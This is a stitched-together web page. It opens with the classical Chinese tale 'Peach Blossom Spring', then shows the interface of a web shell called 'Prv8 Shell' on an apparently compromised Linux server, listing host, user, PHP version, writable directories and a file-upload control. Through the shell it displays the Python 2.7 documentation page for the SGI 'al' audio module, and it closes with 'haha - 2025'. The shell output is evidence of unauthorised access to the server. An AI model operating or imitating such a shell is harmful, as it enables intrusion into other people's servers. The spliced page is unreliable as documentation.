晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/usr/share/doc/python2-docs/html/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/doc/python2-docs/html/library/al.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>39.1. al — Audio functions on the SGI &#8212; Python 2.7.16 documentation</title>
    <link rel="stylesheet" href="../_static/classic.css" type="text/css" />
    <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />
    <script type="text/javascript" id="documentation_options" data-url_root="../" src="../_static/documentation_options.js"></script>
    <script type="text/javascript" src="../_static/jquery.js"></script>
    <script type="text/javascript" src="../_static/underscore.js"></script>
    <script type="text/javascript" src="../_static/doctools.js"></script>
    <script type="text/javascript" src="../_static/sidebar.js"></script>
    <link rel="search" type="application/opensearchdescription+xml"
          title="Search within Python 2.7.16 documentation"
          href="../_static/opensearch.xml"/>
    <link rel="author" title="About these documents" href="../about.html" />
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="copyright" title="Copyright" href="../copyright.html" />
    <link rel="next" title="39.3. cd — CD-ROM access on SGI systems" href="cd.html" />
    <link rel="prev" title="39. SGI IRIX Specific Services" href="sgi.html" />
    <link rel="shortcut icon" type="image/png" href="../_static/py.png" />
    <link rel="canonical" href="https://docs.python.org/2/library/al.html" />
    <script type="text/javascript" src="../_static/copybutton.js"></script>
    
 
    

  </head><body>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             accesskey="I">index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="cd.html" title="39.3. cd — CD-ROM access on SGI systems"
             accesskey="N">next</a> |</li>
        <li class="right" >
          <a href="sgi.html" title="39. SGI IRIX Specific Services"
             accesskey="P">previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="sgi.html" accesskey="U">39. SGI IRIX Specific Services</a> &#187;</li> 
      </ul>
    </div>    

    <div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body" role="main">
            
  <div class="section" id="module-al">
<span id="al-audio-functions-on-the-sgi"></span><h1>39.1. <a class="reference internal" href="#module-al" title="al: Audio functions on the SGI. (deprecated) (IRIX)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">al</span></code></a> — Audio functions on the SGI<a class="headerlink" href="#module-al" title="Permalink to this headline">¶</a></h1>
<div class="deprecated">
<p><span class="versionmodified">Deprecated since version 2.6: </span>The <a class="reference internal" href="#module-al" title="al: Audio functions on the SGI. (deprecated) (IRIX)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">al</span></code></a> module has been removed in Python 3.</p>
</div>
<p>This module provides access to the audio facilities of the SGI Indy and Indigo
workstations.  See section 3A of the IRIX man pages for details.  You’ll need to
read those man pages to understand what these functions do!  Some of the
functions are not available in IRIX releases before 4.0.5.  Again, see the
manual to check whether a specific function is available on your platform.</p>
<p>All functions and methods defined in this module are equivalent to the C
functions with <code class="docutils literal notranslate"><span class="pre">AL</span></code> prefixed to their name.</p>
<p id="index-0">Symbolic constants from the C header file <code class="docutils literal notranslate"><span class="pre">&lt;audio.h&gt;</span></code> are defined in the
standard module <a class="reference internal" href="#module-AL" title="AL: Constants used with the al module. (deprecated) (IRIX)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">AL</span></code></a>, see below.</p>
<div class="admonition warning">
<p class="first admonition-title">Warning</p>
<p class="last">The current version of the audio library may dump core when bad argument values
are passed rather than returning an error status.  Unfortunately, since the
precise circumstances under which this may happen are undocumented and hard to
check, the Python interface can provide no protection against this kind of
problems. (One example is specifying an excessive queue size — there is no
documented upper limit.)</p>
</div>
<p>The module defines the following functions:</p>
<dl class="function">
<dt id="al.openport">
<code class="descclassname">al.</code><code class="descname">openport</code><span class="sig-paren">(</span><em>name</em>, <em>direction</em><span class="optional">[</span>, <em>config</em><span class="optional">]</span><span class="sig-paren">)</span><a class="headerlink" href="#al.openport" title="Permalink to this definition">¶</a></dt>
<dd><p>The name and direction arguments are strings.  The optional <em>config</em> argument is
a configuration object as returned by <a class="reference internal" href="#al.newconfig" title="al.newconfig"><code class="xref py py-func docutils literal notranslate"><span class="pre">newconfig()</span></code></a>.  The return value is an
<em class="dfn">audio port object</em>; methods of audio port objects are described below.</p>
</dd></dl>

<dl class="function">
<dt id="al.newconfig">
<code class="descclassname">al.</code><code class="descname">newconfig</code><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#al.newconfig" title="Permalink to this definition">¶</a></dt>
<dd><p>The return value is a new <em class="dfn">audio configuration object</em>; methods of audio
configuration objects are described below.</p>
</dd></dl>

<dl class="function">
<dt id="al.queryparams">
<code class="descclassname">al.</code><code class="descname">queryparams</code><span class="sig-paren">(</span><em>device</em><span class="sig-paren">)</span><a class="headerlink" href="#al.queryparams" title="Permalink to this definition">¶</a></dt>
<dd><p>The device argument is an integer.  The return value is a list of integers
containing the data returned by <code class="xref c c-func docutils literal notranslate"><span class="pre">ALqueryparams()</span></code>.</p>
</dd></dl>

<dl class="function">
<dt id="al.getparams">
<code class="descclassname">al.</code><code class="descname">getparams</code><span class="sig-paren">(</span><em>device</em>, <em>list</em><span class="sig-paren">)</span><a class="headerlink" href="#al.getparams" title="Permalink to this definition">¶</a></dt>
<dd><p>The <em>device</em> argument is an integer.  The list argument is a list such as
returned by <a class="reference internal" href="#al.queryparams" title="al.queryparams"><code class="xref py py-func docutils literal notranslate"><span class="pre">queryparams()</span></code></a>; it is modified in place (!).</p>
</dd></dl>

<dl class="function">
<dt id="al.setparams">
<code class="descclassname">al.</code><code class="descname">setparams</code><span class="sig-paren">(</span><em>device</em>, <em>list</em><span class="sig-paren">)</span><a class="headerlink" href="#al.setparams" title="Permalink to this definition">¶</a></dt>
<dd><p>The <em>device</em> argument is an integer.  The <em>list</em> argument is a list such as
returned by <a class="reference internal" href="#al.queryparams" title="al.queryparams"><code class="xref py py-func docutils literal notranslate"><span class="pre">queryparams()</span></code></a>.</p>
</dd></dl>

<div class="section" id="configuration-objects">
<span id="al-config-objects"></span><h2>39.1.1. Configuration Objects<a class="headerlink" href="#configuration-objects" title="Permalink to this headline">¶</a></h2>
<p>Configuration objects returned by <a class="reference internal" href="#al.newconfig" title="al.newconfig"><code class="xref py py-func docutils literal notranslate"><span class="pre">newconfig()</span></code></a> have the following methods:</p>
<dl class="method">
<dt>
<code class="descname">audio configuration.getqueuesize()</code></dt>
<dd><p>Return the queue size.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio configuration.setqueuesize(size)</code></dt>
<dd><p>Set the queue size.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio configuration.getwidth()</code></dt>
<dd><p>Get the sample width.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio configuration.setwidth(width)</code></dt>
<dd><p>Set the sample width.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio configuration.getchannels()</code></dt>
<dd><p>Get the channel count.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio configuration.setchannels(nchannels)</code></dt>
<dd><p>Set the channel count.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio configuration.getsampfmt()</code></dt>
<dd><p>Get the sample format.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio configuration.setsampfmt(sampfmt)</code></dt>
<dd><p>Set the sample format.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio configuration.getfloatmax()</code></dt>
<dd><p>Get the maximum value for floating sample formats.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio configuration.setfloatmax(floatmax)</code></dt>
<dd><p>Set the maximum value for floating sample formats.</p>
</dd></dl>

</div>
<div class="section" id="port-objects">
<span id="al-port-objects"></span><h2>39.1.2. Port Objects<a class="headerlink" href="#port-objects" title="Permalink to this headline">¶</a></h2>
<p>Port objects, as returned by <a class="reference internal" href="#al.openport" title="al.openport"><code class="xref py py-func docutils literal notranslate"><span class="pre">openport()</span></code></a>, have the following methods:</p>
<dl class="method">
<dt>
<code class="descname">audio port.closeport()</code></dt>
<dd><p>Close the port.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio port.getfd()</code></dt>
<dd><p>Return the file descriptor as an int.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio port.getfilled()</code></dt>
<dd><p>Return the number of filled samples.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio port.getfillable()</code></dt>
<dd><p>Return the number of fillable samples.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio port.readsamps(nsamples)</code></dt>
<dd><p>Read a number of samples from the queue, blocking if necessary. Return the data
as a string containing the raw data, (e.g., 2 bytes per sample in big-endian
byte order (high byte, low byte) if you have set the sample width to 2 bytes).</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio port.writesamps(samples)</code></dt>
<dd><p>Write samples into the queue, blocking if necessary.  The samples are encoded as
described for the <code class="xref py py-meth docutils literal notranslate"><span class="pre">readsamps()</span></code> return value.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio port.getfillpoint()</code></dt>
<dd><p>Return the ‘fill point’.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio port.setfillpoint(fillpoint)</code></dt>
<dd><p>Set the ‘fill point’.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio port.getconfig()</code></dt>
<dd><p>Return a configuration object containing the current configuration of the port.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio port.setconfig(config)</code></dt>
<dd><p>Set the configuration from the argument, a configuration object.</p>
</dd></dl>

<dl class="method">
<dt>
<code class="descname">audio port.getstatus(list)</code></dt>
<dd><p>Get status information on last error.</p>
</dd></dl>

</div>
</div>
<div class="section" id="module-AL">
<span id="al-constants-used-with-the-al-module"></span><h1>39.2. <a class="reference internal" href="#module-AL" title="AL: Constants used with the al module. (deprecated) (IRIX)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">AL</span></code></a> — Constants used with the <a class="reference internal" href="#module-al" title="al: Audio functions on the SGI. (deprecated) (IRIX)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">al</span></code></a> module<a class="headerlink" href="#module-AL" title="Permalink to this headline">¶</a></h1>
<div class="deprecated">
<p><span class="versionmodified">Deprecated since version 2.6: </span>The <a class="reference internal" href="#module-AL" title="AL: Constants used with the al module. (deprecated) (IRIX)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">AL</span></code></a> module has been removed in Python 3.</p>
</div>
<p>This module defines symbolic constants needed to use the built-in module
<a class="reference internal" href="#module-al" title="al: Audio functions on the SGI. (deprecated) (IRIX)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">al</span></code></a> (see above); they are equivalent to those defined in the C header file
<code class="docutils literal notranslate"><span class="pre">&lt;audio.h&gt;</span></code> except that the name prefix <code class="docutils literal notranslate"><span class="pre">AL_</span></code> is omitted.  Read the module
source for a complete list of the defined names.  Suggested use:</p>
<div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="kn">import</span> <span class="nn">al</span>
<span class="kn">from</span> <span class="nn">AL</span> <span class="k">import</span> <span class="o">*</span>
</pre></div>
</div>
</div>


          </div>
        </div>
      </div>
      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
        <div class="sphinxsidebarwrapper">
  <h3><a href="../contents.html">Table Of Contents</a></h3>
  <ul>
<li><a class="reference internal" href="#">39.1. <code class="docutils literal notranslate"><span class="pre">al</span></code> — Audio functions on the SGI</a><ul>
<li><a class="reference internal" href="#configuration-objects">39.1.1. Configuration Objects</a></li>
<li><a class="reference internal" href="#port-objects">39.1.2. Port Objects</a></li>
</ul>
</li>
<li><a class="reference internal" href="#module-AL">39.2. <code class="docutils literal notranslate"><span class="pre">AL</span></code> — Constants used with the <code class="docutils literal notranslate"><span class="pre">al</span></code> module</a></li>
</ul>

  <h4>Previous topic</h4>
  <p class="topless"><a href="sgi.html"
                        title="previous chapter">39. SGI IRIX Specific Services</a></p>
  <h4>Next topic</h4>
  <p class="topless"><a href="cd.html"
                        title="next chapter">39.3. <code class="docutils literal notranslate"><span class="pre">cd</span></code> — CD-ROM access on SGI systems</a></p>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/library/al.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
<div id="searchbox" style="display: none" role="search">
  <h3>Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" />
      <input type="submit" value="Go" />
      <input type="hidden" name="check_keywords" value="yes" />
      <input type="hidden" name="area" value="default" />
    </form>
    </div>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
        </div>
      </div>
      <div class="clearer"></div>
    </div>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             >index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="cd.html" title="39.3. cd — CD-ROM access on SGI systems"
             >next</a> |</li>
        <li class="right" >
          <a href="sgi.html" title="39. SGI IRIX Specific Services"
             >previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="sgi.html" >39. SGI IRIX Specific Services</a> &#187;</li> 
      </ul>
    </div>  
    <div class="footer">
    &copy; <a href="../copyright.html">Copyright</a> 1990-2019, Python Software Foundation.
    <br />
    The Python Software Foundation is a non-profit corporation.
    <a href="https://www.python.org/psf/donations/">Please donate.</a>
    <br />
    Last updated on Mar 27, 2019.
    <a href="../bugs.html">Found a bug</a>?
    <br />
    Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.7.6.
    </div>

  </body>
</html>

haha - 2025